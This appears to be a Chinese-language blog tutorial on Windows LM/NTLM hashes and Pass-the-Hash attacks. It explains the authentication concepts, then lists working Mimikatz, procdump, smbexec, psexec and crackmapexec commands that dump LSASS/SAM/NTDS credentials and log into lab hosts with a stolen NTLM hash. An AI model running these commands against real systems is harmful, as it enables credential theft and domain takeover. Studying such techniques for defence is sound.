Pass The hash攻击

Windows Hash

分类

  • LM Hash
  • NTLM Hash
  • Net-NTLM Hash

Windows Hash简介

  • window系统内部不保存用户的明文密码,只保存密码的Hash值
  • 本机用户的密码Hash是存放SAM文件中,文件路径为:C:\Windows\System32\config\sam
  • 域内用户的密码Hash是存在域控的NTDS.DIT文件中
    • 数据库文件夹:C:\windows\NTDS
    • 日志文件夹:C:\windows\NTDS
    • SYSVOL文件夹:C:\windows\SYSVOL

windows系统导出密码的格式

用户名:RID:LM-Hash:NTLM-Hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  • 当windows用户密码小于等于14个字符,SAM文件中是LM Hash值 + NTLM-Hash值
  • 当windows用户密码大于14个字符,SAM文件中是NTLM-Hash值

LM Hash

LM(LAN Mannager) 协议使用的hash就叫做 LM Hash, 由IBM设计和提出, 在过去早期使用。由于其存在比较多的缺点,比较容易破解。
自WindowsVista和Windows Server 2008开始,Windows取消LM hash。

NTLM Hash

为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,LM Hash将不再存在。如果空密码或者不储蓄LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE

当我们登录系统的时候,系统会将用户输入的密码计算成NTLM Hash,然后与sam数据库中该用户的哈希比对,匹配则登录成功,不匹配则登录失败,他是一种单向哈希算法,windows将用户的密码计算成NTLM哈希之后才存储在电脑中。
在本地认证中,用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行对比
我们使用mimikatz来获取的明文密码,就是在这个进程中读取到的。

本地认证流程

Net NTLM Hash(window网络认证)

在内网渗透中,经常遇到工作组环境,而工作组环境是一个逻辑上的网络环境(工作区),隶属于工作组的机器之间无法互相建立一个完美的信任机制,只能点对点,是比较落后的认证方式,没有信托机构
• 假设A主机与B主机属于同一个工作组环境,A想访问B主机上的资料,需要将一个存在于B主机上的账户凭证发送至B主机,经过
认证才能够访问B主机上的资源
• 最常见的服务:SMB服务端口:445

NTLM(NT LAN Manager)协议

早期SMB协议在网络上传输明文口令。后来出现LAN Manager Challenge/Response验证机制,简称LM,它是如此简单以至很容易就被破解
微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。

  1. 挑战/响应--协商客户端主要在这一步向服务器确认认证的版本,是v1还是V2
  2. 挑战/响应--质询--认证
    • 客户端向服务器端发送用户信息(用户名)请求
    • 服务器接受到请求,生成一个16位的随机数,被称之位"Challenge",使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符)生成Challenge1。同时,生成challenge1后,将Challenge(16位随机字符)发送给客户端**Net NTLM Hash=NTLM Hash(Challenge)
    • 客户端接受到Challenge后,使用将要登录到账号对应的NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。
    • 服务器收到客户端的Response后,对比Chanllenge1与Response是否相等,若相等,则认证通过。

NTLM V2协议

NTLM v1与NTLM V2最显著的区别就是Challenge.与加密算法不同,共同点就是加密的原料都是NTLM Hash。

  1. Challage:NTLM V1的Challenge有8位,NTLM V2的Challenge为16位。
  2. Net-NTLM Hash:NTLM V1的主要加密算法是DES,NTLM V2的主要加密算法是HMAC-MD5

Pass The Hash攻击思路

首先我们拿到一台内网机器,这台内网机器可能是域用户也可能是本地用户,提权到system权限导出hash值,然后利用本机保存的hash去登录内网其他机器。

在域环境中,利用pass the hash的渗透方式

  1. 获取一台域主机权限
  2. Dump内存获取用户hash
  3. 通过pass the hash尝试登录其他主机
  4. 继续搜索hash并尝试远程登录
  5. 直到获得域管理员账号hash,登录域控,最终控制整个域

获取hash

Mimikatz
读取lsass进程的信息:

privilege::debug
sekurlsa::msv

img

也可以获取全部用户的密钥和明文:

privilege::debug
sekurlsa::logonpasswords

img

读取SAM数据库获取用户Hash,获取系统所有本地用户hash:

privilege::debug
token::elevate
lsadump::sam

可以使用dcsync功能导出域内所有hash

lsadump::dcsync /domain:test.local /all /csv

Cobalt Strike
选中客户端列表->右键选择Access的模块中的Dump Hashes,读取到的凭证可以在菜单栏的view-Credentials中查看。

使用crackmapexec导出hash

转储lsass进程
一般会保存在C:\Users\用户名\AppData\Local\Temp\lsass.DMP
将该文件下载回来放置在Mimikatz的同目录下,执行:

sekurlsa::mindump lsass.DMP
sekurlsa::logonpasswords full

procdump导出lsass.dmp

32位机器:procdump.exe -accepteula -ma lsass.exe lsass.dmp 
64位机器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

Pass The Hash

smbmap

kali已经安装
smbmap -u testuser -p 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72' -H 172.16.0.106 -d hack.lab -x 'whoami'

smbexec.py
smbexec.py是impacket里面的一个工具,在kali是已经预装好的,如果没有安装可以用以下命令进行安装:

python3 -m pip install impacket
smbexec.py hack.lab/testuser@172.16.0.106 -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72'

Mimikatz

privilege::debug
sekurlsa::pth /user:testuser /domain:hack.lab /ntlm:de26cce0356891a4a020e7c4957afc72

psexec
PsExec的基本原理是:通过管道在远程目标主机上创建一个psexec服务,并在本地磁盘中生成一个名为"PSEXESVC"的二进制文件,然后通过psexec服务运行命令,运行结束后删除服务。由于创建或删除服务时会产生大量的日志,可以在攻击溯源时通过日志反推攻击流程。

需要远程系统开启admin共享(默认是开启的),原理是基于IPC共享,目标需要开放445端口和admin在使用IPC连接目标系统后,不需要账号和密码

使用方法:

PsExec.exe \\172.16.0.105 -u hack.lab\lucky -p p@ssw0rd cmd /c "ipconfig"

psexec.py hack.lab/lucky@172.16.0.105 -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72'

CrackMapExec

crackmapexec smb 172.16.0.106 -u testuser -H de26cce0356891a4a020e7c4957afc72 -x whoami -d hack.lab
posted @ 2024-04-16 15:39  kalixcn  阅读(15)  评论(0编辑  收藏  举报